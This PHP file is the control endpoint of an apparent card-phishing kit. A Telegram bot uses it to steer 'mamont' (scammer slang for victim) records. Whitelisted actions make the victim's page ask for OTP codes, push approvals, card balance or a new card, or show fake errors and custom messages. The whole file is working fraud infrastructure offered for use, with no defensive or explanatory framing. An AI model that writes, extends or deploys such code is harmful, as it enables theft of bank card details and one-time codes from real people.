<?php
/**
 * API endpoint for Telegram bot to set actions on mamont records.
 * Replaces direct MySQL access from bot.py.
 *
 * Usage:
 *   POST /payment/payment/admin/functions/set_action.php
 *   Body (JSON): {"mamont_id": "123456", "action": "action_otp", "value": 1}
 *   Optional: {"mamont_id": "123456", "action": "action_custom", "value": 1, "custom_text": "your message"}
 *
 * Auth: requires secret token in X-Bot-Token header
 */

header('Content-Type: application/json');

require_once __DIR__ . '/../storage.php';
require_once __DIR__ . '/../../config.php';

// Simple auth: bot must send the Telegram token as proof
$headers = getallheaders();
$botToken = $headers['X-Bot-Token'] ?? ($headers['x-bot-token'] ?? '');

if ($botToken !== TOKEN) {
    http_response_code(403);
    echo json_encode(['error' => 'unauthorized']);
    exit;
}

$input = json_decode(file_get_contents('php://input'), true);

if (!$input || empty($input['mamont_id']) || empty($input['action'])) {
    http_response_code(400);
    echo json_encode(['error' => 'missing mamont_id or action']);
    exit;
}

$mamontId = $input['mamont_id'];
$action = $input['action'];
$value = $input['value'] ?? 1;

// Whitelist allowed actions
$allowed = [
    'action_otp', 'action_push', 'action_balance', 'action_custom',
    'action_failed', 'action_success', 'action_newcard', 'action_errcard',
    'action_checksumm', 'action_support',
    'action_error_otp', 'action_error_push', 'action_error_balance',
    'action_error_custom', 'action_error_checksumm',
    'mamont_custom'
];

if (!in_array($action, $allowed)) {
    http_response_code(400);
    echo json_encode(['error' => 'invalid action']);
    exit;
}

MamontStorage::setField($mamontId, $action, $value);

// If custom text is provided, also set it
if (!empty($input['custom_text'])) {
    MamontStorage::setField($mamontId, 'mamont_custom', $input['custom_text']);
}

echo json_encode(['ok' => true]);
